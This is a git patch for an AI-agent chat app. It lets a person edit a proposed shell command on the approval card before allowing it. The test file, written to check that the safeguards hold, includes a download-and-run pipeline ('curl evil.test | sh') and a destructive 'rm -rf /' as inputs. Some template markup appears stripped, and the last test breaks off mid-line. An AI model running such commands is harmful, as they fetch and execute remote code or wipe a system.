From ab2e74974bb77fb35975af6292b7012dbf39bbc1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jaroslav=20Bene=C5=A1?= Date: Tue, 4 Aug 2026 08:40:51 +0200 Subject: [PATCH] Correcting a command before allowing it An approval card was Allow, Always, or Don't. A model proposing the right command with one flag wrong therefore cost a whole round trip to explain in prose. There is an Edit button on it now. Where the edit lands is the whole of the feature, and it is one line. `arguments` is the list `_run_calls` hands to `run_tool` as `parsed=`, and `run_tool` never re-parses -- so writing into it inside `_authorise` is the only mutation the runner can see. Editing the Item would do nothing: it is frozen and display-only. Two things had to move with it. The raw `call["arguments"]` string is rewritten beside the parsed dict, and the assistant turn is now built *after* `_authorise` rather than before it -- the old order told the model it ran what it proposed while something else ran, and every later round would have reasoned from a transcript that was quietly false. And `_remember_always` reads the edit, or "always allow this" would store a standing permission for a command nobody approved; it still derives the pattern itself through `policy.subject`, which yields nothing for a composed command line. Nothing is re-checked against the mode or the lists, and that is not a shortcut. The deny list resolves to ASK rather than to a refusal -- it means "always ask about this" -- so a person who has typed the command and pressed Allow is exactly the asking it was demanding, and re-asking would put the same card up with no way past it. It is the line the terminal panel already draws. The box is only offered where the detail *is* an argument and can be put back: a tool with no entry in `tool_labels.DETAIL_KEYS` gets a `k=repr(v)` summary, and a box there would silently change nothing. Both halves are always in the DOM with one hidden, rather than the field being created on click -- a field that does not exist until a handler runs is a field that submits nothing if the handler fails, and this one decides what runs on somebody's machine. The transcript says "edited by you". Attributing somebody's own typing to a model is the same misattribution as the other way round. Co-Authored-By: Claude Opus 5 (1M context) --- src/lembas/api/chats.py | 54 ++- src/lembas/services/generation.py | 121 ++++- src/lembas/services/interaction.py | 6 + src/lembas/web/static/css/chat.css | 12 + .../web/templates/chat/_interaction.html | 41 +- .../web/templates/chat/_tool_activity.html | 9 + tests/test_agent_command_edit.py | 417 ++++++++++++++++++ 7 files changed, 620 insertions(+), 40 deletions(-) create mode 100644 tests/test_agent_command_edit.py diff --git a/src/lembas/api/chats.py b/src/lembas/api/chats.py index 0e355cb..dad3f7e 100644 --- a/src/lembas/api/chats.py +++ b/src/lembas/api/chats.py @@ -1330,15 +1330,6 @@ async def answer_interaction( form = await request.form() verdict = str(form.get("verdict") or "").strip() - # Read and recorded *before* resolving: `interaction.wait_for` clears - # `generation.pending` in its `finally`, so a moment later there is nothing - # left to remember and "always" would quietly mean "once". - remembered = 0 - if verdict == interaction.ALLOW_ALWAYS: - remembered = _remember_always( - db, chat, generation_service.pending_items(chat.id, interaction_id) - ) - answers: dict[str, str] = {} for field, value in form.multi_items(): kind, _, key = str(field).partition(".") @@ -1350,6 +1341,23 @@ async def answer_interaction( elif kind == "choice" and written: answers.setdefault(key, written) + # Read and recorded *before* resolving: `interaction.wait_for` clears + # `generation.pending` in its `finally`, so a moment later there is nothing + # left to remember and "always" would quietly mean "once". + # + # `answers` is gathered first because an approval card can now carry a + # corrected command, and "always allow this" has to mean the command that is + # about to run rather than the one the model asked for. Remembering the + # proposed one would grant a standing permission nobody approved. + remembered = 0 + if verdict == interaction.ALLOW_ALWAYS: + remembered = _remember_always( + db, + chat, + generation_service.pending_items(chat.id, interaction_id), + answers=answers, + ) + answered = generation_service.answer( chat.id, interaction_id, @@ -1377,15 +1385,23 @@ async def answer_interaction( return response -def _remember_always(db: DBSession, chat: Chat, items) -> int: +def _remember_always( + db: DBSession, chat: Chat, items, *, answers: dict[str, str] | None = None +) -> int: """Record what "always allow" was said about. Returns how many were new. - The pattern is derived **here**, from the item that was approved, and never - taken from the request -- the endpoint accepts an interaction id and a - verdict and nothing else. `agent_policy.subject` is the same normaliser - `decide` matches with, so what is stored is exactly what will be compared - later; it returns None for a command line carrying a shell metacharacter, - which is precisely the shape that must never become a standing permission. + The pattern is derived **here**, and still never taken from the request as a + pattern: `answers` carries the command a person may have corrected on the + card, and it goes through `agent_policy.subject` exactly as `item.detail` + does. That is the same normaliser `decide` matches with, so what is stored + is exactly what will be compared later; it returns None for a command line + carrying a shell metacharacter, which is precisely the shape that must never + become a standing permission. + + Reading the edit matters rather than being a nicety. Somebody who corrects a + command and presses "always allow" has approved the corrected one, and + storing what the model originally asked for would be a standing permission + for something nobody ever agreed to. A tool name for everything that is not a command, which is the convention the shipped `allow_default` already uses: `file_read` and `file_list` are @@ -1393,12 +1409,16 @@ def _remember_always(db: DBSession, chat: Chat, items) -> int: """ scope = dict(chat.scope_json or {}) entries = list(scope.get("allow") or []) + written = answers or {} added = 0 for item in items: if item.kind != interaction.KIND_APPROVAL or len(entries) >= MAX_SCOPE_KEYS: continue - pattern = agent_policy.subject(item.tool_name, item.detail) + detail = item.detail + if item.editable: + detail = (written.get(item.key) or "").strip() or item.detail + pattern = agent_policy.subject(item.tool_name, detail) if not pattern or pattern in entries: continue entries.append(pattern) diff --git a/src/lembas/services/generation.py b/src/lembas/services/generation.py index 2c8f55d..460a1de 100644 --- a/src/lembas/services/generation.py +++ b/src/lembas/services/generation.py @@ -17,6 +17,7 @@ from __future__ import annotations import asyncio import contextlib +import json import logging import time import uuid @@ -585,15 +586,6 @@ async def _run(generation: Generation) -> None: generation.touch() break - messages = [ - # The **raw** arguments string, not the parsed dict: the - # endpoint has to see back exactly what it sent, or an - # id-matching server pairs its own call with something it does - # not recognise. - *payload["messages"], - tools_service.assistant_turn(calls, "".join(round_text)), - ] - # Parsed once, here, and shared by everything below: the approval # card, `policy.decide`, and the runner. See `_arguments_for`. arguments = _arguments_for(tool_context, calls) @@ -602,10 +594,27 @@ async def _run(generation: Generation) -> None: # together under a semaphore, and four people-shaped pauses inside # that gather would queue behind each other invisibly -- see # services/interaction.py. - decided, allowed = await _authorise(generation, tool_context, calls, arguments) + decided, allowed, edited = await _authorise( + generation, tool_context, calls, arguments + ) if generation.stopped: break + messages = [ + # The **raw** arguments string, not the parsed dict: the + # endpoint has to see back exactly what it sent, or an + # id-matching server pairs its own call with something it does + # not recognise. + # + # Built after `_authorise` rather than before it, because a + # command corrected on the approval card is written back into + # `calls` there. The other order sent the model the command it + # proposed while a different one ran, and every later round + # reasoned from a transcript that was quietly false. + *payload["messages"], + tools_service.assistant_turn(calls, "".join(round_text)), + ] + generation.status = _tool_status(calls) generation.touch() try: @@ -616,7 +625,14 @@ async def _run(generation: Generation) -> None: generation.status = "" generation.touch() - for call, outcome in zip(calls, outcomes, strict=True): + for index, (call, outcome) in enumerate(zip(calls, outcomes, strict=True)): + if index in edited: + # A command somebody corrected on the card is theirs, not + # the model's. Shown as such, for the same reason a plan + # goes back quoted and attributed: text must not arrive + # wearing an authorship it does not have, in either + # direction. + outcome.event["edited"] = True generation.tool_events.append(outcome.event) generation.output_bytes += len(outcome.content) messages.append(tools_service.tool_turn(call, outcome.content)) @@ -1102,6 +1118,12 @@ def _approvals(context, calls: list[dict], arguments: list[dict]) -> list[intera detail=detail, reason=decision.reason, purpose=agent_tools.why_of(args), + # A card showing one argument can offer to correct it. A model + # proposing the right command with one flag wrong is the common + # case, and Allow-or-Don't makes that a whole round trip to + # explain. Anything whose detail is a summary rather than a + # value cannot be put back and is not offered the box. + editable=bool(tool_labels.DETAIL_KEYS.get(call["name"])), ) ) return items @@ -1171,12 +1193,13 @@ def _questions_in(args: dict) -> list[dict]: async def _authorise( generation, context, calls: list[dict], arguments: list[dict] -) -> tuple[dict[int, ToolOutcome], set[int]]: +) -> tuple[dict[int, ToolOutcome], set[int], set[int]]: """Which of this round's calls may run, and what the others answer instead. - Returns outcomes keyed by the call's index. Every index the caller does not - find here is cleared to run; every index it does find is answered without - the runner being reached at all. That is what keeps + Returns outcomes keyed by the call's index, the indices a person allowed, + and the indices whose command they corrected on the way. Every index the + caller does not find in the first is cleared to run; every index it does + find is answered without the runner being reached at all. That is what keeps `zip(calls, outcomes, strict=True)` aligned -- an endpoint matching on `tool_call_id` pairs the wrong content with the right id otherwise. @@ -1184,12 +1207,17 @@ async def _authorise( told. They re-check the mode as a backstop and would otherwise refuse the very thing that was just approved -- the mode says "ask", and asking is what happened. + + A command corrected on the card is written back into `arguments` **in + place**, because that same list is what `_run_calls` hands to `run_tool` as + `parsed=` and `run_tool` never re-parses. Editing the item would do nothing: + `Item` is display-only and frozen. This is the one place the two meet. """ questions = _ask_items(context, calls, arguments) approvals = _approvals(context, calls, arguments) items = [*approvals, *questions] if not items: - return {}, set() + return {}, set(), set() timeout = float(context.interaction_timeout or 900) pause = interaction.build(uuid.uuid4().hex, items, timeout=timeout) @@ -1199,19 +1227,25 @@ async def _authorise( if reply.ended: generation.stopped = True - return {}, set() + return {}, set(), set() decided: dict[int, ToolOutcome] = {} allowed: set[int] = set() + edited: set[int] = set() # An approval that came back as a refusal answers its call without the # runner being reached; one that came back allowed is simply left out, which # is how `_run_calls` is told to go ahead. for item in approvals: - if reply.permitted: - allowed.add(item.index) + if not reply.permitted: + decided[item.index] = _not_allowed(item, reply) continue - decided[item.index] = _not_allowed(item, reply) + if _apply_edit(calls, arguments, item, reply) != item.detail: + # So the transcript can say the command was changed before it ran. + # Without it a reader scrolling back sees a command attributed to + # the model that the model never wrote. + edited.add(item.index) + allowed.add(item.index) # Questions are grouped back by call, because one `ask_user` call may have # carried several and the endpoint expects exactly one tool turn per call. @@ -1221,7 +1255,52 @@ async def _authorise( for index, asked in grouped.items(): decided[index] = _answered(asked, reply) - return decided, allowed + return decided, allowed, edited + + +def _apply_edit( + calls: list[dict], + arguments: list[dict], + item: interaction.Item, + reply: interaction.Reply, +) -> str: + """Put a corrected command back where the runner will find it. + + Returns what is going to run, edited or not, so the caller can record the + right thing. Two writes, and both are needed: + + `arguments[index]` is what `run_tool` is handed as `parsed=`, and it never + re-parses -- so this is the only write that reaches the runner. Editing the + item would do nothing at all: `Item` is frozen and display-only. + + `call["arguments"]`, the raw string, is rewritten beside it, because that is + what goes back to the endpoint as the assistant turn. Otherwise the model is + told it ran what it proposed rather than what actually ran, and every later + round reasons from a transcript that is quietly false. + + Nothing is re-checked against the mode or the lists. That is the same line + the terminal panel and the directory browser draw, and here it is not even + close: the deny list resolves to ASK rather than to a refusal -- it means + "always ask about this" -- and a person who has typed the command themselves + and pressed Allow is exactly the asking it was demanding. Re-asking would + put the same card up again with no way past it. The instance's list still + governs the *model*: a pattern remembered by "always allow" is checked by + `decide`, where a deny hit wins before the allow list is even read. + """ + if not item.editable: + return item.detail + + edited = reply.answer_to(item) + key = tool_labels.DETAIL_KEYS.get(item.tool_name) + if not edited or edited == item.detail or not key: + return item.detail + + arguments[item.index] = {**arguments[item.index], key: edited} + calls[item.index] = { + **calls[item.index], + "arguments": json.dumps(arguments[item.index]), + } + return edited def _not_allowed(item: interaction.Item, reply: interaction.Reply) -> ToolOutcome: diff --git a/src/lembas/services/interaction.py b/src/lembas/services/interaction.py index 6307c9a..7818e00 100644 --- a/src/lembas/services/interaction.py +++ b/src/lembas/services/interaction.py @@ -85,6 +85,12 @@ class Item: purpose: str = "" options: tuple[str, ...] = () allow_free_text: bool = True + # Whether `detail` can be corrected before this is allowed. Only where the + # detail *is* one argument and can be put back where it came from -- a tool + # with no entry in `tool_labels.DETAIL_KEYS` gets a `k=repr(v)` summary that + # cannot be parsed back, and offering a box that silently changed nothing + # would be worse than offering none. + editable: bool = False @dataclass diff --git a/src/lembas/web/static/css/chat.css b/src/lembas/web/static/css/chat.css index 667ef73..6d3f27f 100644 --- a/src/lembas/web/static/css/chat.css +++ b/src/lembas/web/static/css/chat.css @@ -521,6 +521,18 @@ white-space: pre-wrap; overflow-wrap: anywhere; } +/* The same command, correctable. Sized and spaced like the
 it replaces
+   so pressing Edit does not make the card jump. */
+.interaction__edit {
+  width: 100%;
+  margin: 0 0 var(--sp-2);
+  padding: var(--sp-3);
+  font-family: var(--font-mono);
+  font-size: var(--text-xs);
+  white-space: pre-wrap;
+  overflow-wrap: anywhere;
+  resize: vertical;
+}
 .interaction__reason { margin: 0; color: var(--ink-muted); font-size: var(--text-xs); }
 /* The model's account of what it is about to do. Above the command and quieter
    than the title, so the command stays the thing being agreed to. */
diff --git a/src/lembas/web/templates/chat/_interaction.html b/src/lembas/web/templates/chat/_interaction.html
index 4c19386..8b519ab 100644
--- a/src/lembas/web/templates/chat/_interaction.html
+++ b/src/lembas/web/templates/chat/_interaction.html
@@ -68,7 +68,7 @@
 
     {% else %}
       {% for item in ask.items %}
-      
+

{{ item.title }}

{% if item.purpose %} {# The model's own account of what this is for, above the thing itself. @@ -78,7 +78,44 @@

It says: {{ item.purpose }}

{% endif %} {% if item.detail %} -
{{ item.detail }}
+ {% if item.editable %} + {# + The command, correctable before it runs. A model proposing the right + thing with one flag wrong is the common case, and Allow-or-Don't + makes that a round trip to explain in prose. + + Both halves are always in the DOM and one is hidden, rather than the + box being created when Edit is pressed: a field that does not exist + until a click is a field that submits nothing if the click handler + ever fails, and this one decides what runs on somebody's machine. + The textarea is disabled while hidden so an untouched card cannot + post a `text.` field at all — that field means "this was edited", + and an empty one arriving would be indistinguishable from a command + somebody cleared. + #} +
+
{{ item.detail }}
+ +
+
+ + +

+ Allow runs what is in the box. It is not checked against this + chat's rules again — you typed it. +

+
+ {% else %} +
{{ item.detail }}
+ {% endif %} {% endif %} {% if item.reason %}

{{ item.reason }}

diff --git a/src/lembas/web/templates/chat/_tool_activity.html b/src/lembas/web/templates/chat/_tool_activity.html index 47c7322..a7fafa3 100644 --- a/src/lembas/web/templates/chat/_tool_activity.html +++ b/src/lembas/web/templates/chat/_tool_activity.html @@ -62,6 +62,15 @@ {% endif %} + {% if event.edited %} + {# Corrected on the approval card before it ran, so what is shown above is + the reader's command and not the model's. Said out loud rather than + left to be inferred: attributing somebody's own typing to a model is + the same misattribution as the other way round, and a transcript read + back a week later has nothing else to go on. #} + edited by you + {% endif %} + {% if event.why %} {# What the model said this call was for. In the summary rather than the body because the body is collapsed: in Auto mode nothing stops for diff --git a/tests/test_agent_command_edit.py b/tests/test_agent_command_edit.py new file mode 100644 index 0000000..1c01b9a --- /dev/null +++ b/tests/test_agent_command_edit.py @@ -0,0 +1,417 @@ +"""Correcting a command on the approval card before allowing it. + +A model proposing the right thing with one flag wrong is the common case, and +Allow-or-Don't makes that a whole round trip to explain in prose. Driven through +the real machinery rather than asserted on markup, because the thing that +matters is *what runs*, and there are three places the edited text has to reach. +""" + +from __future__ import annotations + +import asyncio +import json + +import pytest + +from lembas.db.models import KIND_AGENT, Chat, Connection, Model, SshProfile, User +from lembas.services import generation as generation_service +from lembas.services import interaction, settings_store, tool_labels +from lembas.services import tools as tools_service +from lembas.services.agent import policy +from lembas.services.agent import ssh as ssh_service + +asyncssh = pytest.importorskip("asyncssh") + + +# --- A machine to act on ----------------------------------------------------- +class _Server(asyncssh.SSHServer): + def begin_auth(self, username: str) -> bool: + return False + + +async def _handler(process): + process.stdout.write(f"ran: {process.command or ''}\n") + process.exit(0) + + +@pytest.fixture +async def machine(tmp_path): + project = tmp_path / "project" + project.mkdir() + server = await asyncssh.create_server( + _Server, + "127.0.0.1", + 0, + server_host_keys=[asyncssh.generate_private_key("ssh-ed25519")], + process_factory=_handler, + sftp_factory=True, + ) + port = next(iter(server.sockets)).getsockname()[1] + line, fingerprint = await ssh_service.capture_host_key("127.0.0.1", port) + try: + yield {"port": port, "host_key": line, "fingerprint": fingerprint, "dir": str(project)} + finally: + server.close() + await server.wait_closed() + + +def _agent_chat(db, user_id, machine, *, mode=policy.MODE_MANUAL) -> Chat: + settings_store.update(db, {"enabled": True}, key=settings_store.AGENTS) + profile = SshProfile( + owner_id=user_id, + name="Test box", + host="127.0.0.1", + port=machine["port"], + username="tester", + host_key=machine["host_key"], + host_fingerprint=machine["fingerprint"], + default_dir=machine["dir"], + ) + db.add(profile) + db.commit() + + connection = Connection(name="c", base_url="http://127.0.0.1:1", api_key_encrypted="") + db.add(connection) + db.commit() + db.add(Model(connection_id=connection.id, model_id="m", capabilities_json={"tools": True})) + db.commit() + + chat = Chat( + user_id=user_id, + model_id="m", + connection_id=connection.id, + kind=KIND_AGENT, + ssh_profile_id=profile.id, + project_dir=machine["dir"], + agent_mode=mode, + ) + db.add(chat) + db.commit() + return chat + + +def _context(db, user_id, machine, **kwargs): + chat = _agent_chat(db, user_id, machine, **kwargs) + user = db.get(User, user_id) + resolved = tools_service.resolve_tools(db, chat, user) + return tools_service.context_for(db, user, chat, tools=resolved) + + +def _shell_call(command: str, *, call_id: str = "c1") -> dict: + return { + "id": call_id, + "name": "shell_run", + "arguments": json.dumps({"command": command}), + } + + +async def _authorise_with(context, calls, *, answers, verdict=interaction.ALLOW): + """Run `_authorise` and answer the card it puts up.""" + generation = generation_service.Generation(chat_id="x", message_id="y") + arguments = generation_service._arguments_for(context, calls) + task = asyncio.create_task( + generation_service._authorise(generation, context, calls, arguments) + ) + deadline = asyncio.get_running_loop().time() + 2.0 + while generation.pending is None: + if asyncio.get_running_loop().time() > deadline: + task.cancel() + raise AssertionError("the reply never paused") + await asyncio.sleep(0.01) + + pending = generation.pending + pending.resolve(verdict, answers=answers) + decided, allowed, edited = await task + return arguments, decided, allowed, edited, pending + + +# --- What the card offers ------------------------------------------------------ +async def test_a_command_card_offers_the_box(db, user_id, machine): + context = _context(db, user_id, machine) + generation = generation_service.Generation(chat_id="x", message_id="y") + calls = [_shell_call("pytest -q")] + arguments = generation_service._arguments_for(context, calls) + + task = asyncio.create_task( + generation_service._authorise(generation, context, calls, arguments) + ) + while generation.pending is None: + await asyncio.sleep(0.01) + item = generation.pending.items[0] + assert item.editable is True + assert item.detail == "pytest -q" + generation.pending.resolve(interaction.DENY) + await task + + +def test_a_tool_whose_detail_is_a_summary_offers_no_box(): + """A tool with no entry in DETAIL_KEYS gets a `k=repr(v)` summary that + cannot be parsed back, so a box there would silently change nothing.""" + assert "ask_user" not in tool_labels.DETAIL_KEYS + assert "shell_run" in tool_labels.DETAIL_KEYS + + +# --- Where the edit lands ------------------------------------------------------ +async def test_the_edited_command_reaches_the_runner(db, user_id, machine): + """`arguments` is what `run_tool` is handed as `parsed=`, and it never + re-parses -- so this list is the only write that reaches the machine.""" + context = _context(db, user_id, machine) + calls = [_shell_call("pytest")] + + arguments, decided, allowed, edited, _ = await _authorise_with( + context, calls, answers={"a0": "pytest -q --tb=short"} + ) + assert arguments[0]["command"] == "pytest -q --tb=short" + assert allowed == {0} + assert edited == {0} + assert decided == {} + + outcomes = await generation_service._run_calls( + context, calls, arguments, decided=decided, allowed=allowed + ) + assert "pytest -q --tb=short" in outcomes[0].content + + +async def test_the_raw_arguments_are_rewritten_too(db, user_id, machine): + """That string is what goes back to the endpoint as the assistant turn. + Leaving it alone tells the model it ran what it proposed while something + else ran, and every later round reasons from a transcript that is false.""" + context = _context(db, user_id, machine) + calls = [_shell_call("pytest")] + + await _authorise_with(context, calls, answers={"a0": "pytest -q"}) + assert json.loads(calls[0]["arguments"])["command"] == "pytest -q" + + turn = tools_service.assistant_turn(calls, "") + assert "pytest -q" in turn["tool_calls"][0]["function"]["arguments"] + + +async def test_an_untouched_card_changes_nothing(db, user_id, machine): + context = _context(db, user_id, machine) + calls = [_shell_call("pytest -q")] + + arguments, _decided, allowed, edited, _ = await _authorise_with( + context, calls, answers={} + ) + assert arguments[0]["command"] == "pytest -q" + assert allowed == {0} + assert edited == set() + + +async def test_a_box_submitted_unchanged_is_not_an_edit(db, user_id, machine): + """The textarea is in the DOM before Alpine boots, so a very fast submit can + post the original text. That must read as "no edit", not as one.""" + context = _context(db, user_id, machine) + calls = [_shell_call("pytest -q")] + + _arguments, _decided, _allowed, edited, _ = await _authorise_with( + context, calls, answers={"a0": "pytest -q"} + ) + assert edited == set() + + +async def test_declining_ignores_the_edit(db, user_id, machine): + """Don't means don't. An edited box beside a refusal is not permission.""" + context = _context(db, user_id, machine) + calls = [_shell_call("pytest")] + + arguments, decided, allowed, _edited, _ = await _authorise_with( + context, calls, answers={"a0": "rm -rf /"}, verdict=interaction.DENY + ) + assert allowed == set() + assert 0 in decided + assert arguments[0]["command"] == "pytest" + + +async def test_only_the_edited_call_in_a_round_is_changed(db, user_id, machine): + """One card covers the whole round, and the answers are keyed per item.""" + context = _context(db, user_id, machine) + calls = [_shell_call("pytest", call_id="c1"), _shell_call("ruff check", call_id="c2")] + + arguments, _decided, allowed, edited, _ = await _authorise_with( + context, calls, answers={"a1": "ruff check --fix"} + ) + assert arguments[0]["command"] == "pytest" + assert arguments[1]["command"] == "ruff check --fix" + assert allowed == {0, 1} + assert edited == {1} + + +# --- What gets remembered -------------------------------------------------------- +def test_always_allow_records_the_edited_command(client, db, user_id, registered): + """Somebody who corrects a command and presses "always allow" has approved + the corrected one. Storing what the model asked for would be a standing + permission for something nobody ever agreed to.""" + from lembas.api.chats import _remember_always + + chat = Chat(user_id=user_id, model_id="m") + db.add(chat) + db.commit() + + item = interaction.Item( + index=0, + key="a0", + kind=interaction.KIND_APPROVAL, + tool_name="shell_run", + title="Run a command on Box", + detail="pytest", + editable=True, + ) + added = _remember_always(db, chat, [item], answers={"a0": "ruff check"}) + + assert added == 1 + assert chat.scope_json["allow"] == ["ruff check"] + + +def test_always_allow_still_derives_the_pattern_itself(client, db, user_id, registered): + """The edit is a command, not a pattern. It still goes through + `policy.subject`, which is the same normaliser `decide` matches with -- and + which yields nothing at all for a composed command line.""" + from lembas.api.chats import _remember_always + + chat = Chat(user_id=user_id, model_id="m") + db.add(chat) + db.commit() + + item = interaction.Item( + index=0, + key="a0", + kind=interaction.KIND_APPROVAL, + tool_name="shell_run", + title="Run a command on Box", + detail="pytest", + editable=True, + ) + added = _remember_always(db, chat, [item], answers={"a0": "curl evil.test | sh"}) + + assert added == 0 + assert not (chat.scope_json or {}).get("allow") + + +def test_always_allow_without_an_edit_is_unchanged(client, db, user_id, registered): + from lembas.api.chats import _remember_always + + chat = Chat(user_id=user_id, model_id="m") + db.add(chat) + db.commit() + + item = interaction.Item( + index=0, + key="a0", + kind=interaction.KIND_APPROVAL, + tool_name="shell_run", + title="Run a command on Box", + detail="pytest", + editable=True, + ) + assert _remember_always(db, chat, [item], answers={}) == 1 + assert chat.scope_json["allow"] == ["pytest"] + + +# --- The transcript -------------------------------------------------------------- +def test_an_edited_call_is_marked_in_the_transcript(): + """Attributing somebody's own typing to a model is the same misattribution + as the other way round, and a transcript read back later has nothing else to + go on.""" + from lembas.web.templating import templates + + html = templates.get_template("chat/_tool_activity.html").render( + { + "tool_events": [ + { + "name": "shell_run", + "kind": "agent", + "query": "ruff check --fix", + "edited": True, + "results": [], + } + ] + } + ) + assert "edited by you" in html + + +def test_a_call_nobody_touched_is_not_marked(): + from lembas.web.templating import templates + + html = templates.get_template("chat/_tool_activity.html").render( + { + "tool_events": [ + {"name": "shell_run", "kind": "agent", "query": "ruff check", "results": []} + ] + } + ) + assert "edited by you" not in html + + +# --- The card, rendered ------------------------------------------------------------ +def _render(pause) -> str: + from lembas.web.templating import templates + + return templates.get_template("chat/_interaction.html").render( + {"ask": pause, "chat_id": "abc"} + ) + + +def test_the_box_is_named_after_the_item(): + """`api/chats.py` harvests every `text.*` field into `answers` regardless of + card kind, which is what makes this need no endpoint change at all.""" + pause = interaction.Interruption( + id="p1", + items=( + interaction.Item( + index=0, + key="a0", + kind=interaction.KIND_APPROVAL, + tool_name="shell_run", + title="Run a command on Box", + detail="pytest -q", + editable=True, + ), + ), + ) + html = _render(pause) + assert 'name="text.a0"' in html + assert "pytest -q" in html + + +def test_a_command_that_cannot_be_put_back_gets_no_box(): + pause = interaction.Interruption( + id="p1", + items=( + interaction.Item( + index=0, + key="a0", + kind=interaction.KIND_APPROVAL, + tool_name="something_odd", + title="Use something odd", + detail="a=1, b=2", + editable=False, + ), + ), + ) + html = _render(pause) + assert 'name="text.a0"' not in html + assert "a=1, b=2" in html + + +def test_the_box_escapes_what_the_model_wrote(): + """It is model output and it is going into a textarea, which ends at the + first `` the browser sees.""" + pause = interaction.Interruption( + id="p1", + items=( + interaction.Item( + index=0, + key="a0", + kind=interaction.KIND_APPROVAL, + tool_name="shell_run", + title="Run a command on Box", + detail="ls ", + editable=True, + ), + ), + ) + html = _render(pause) + assert "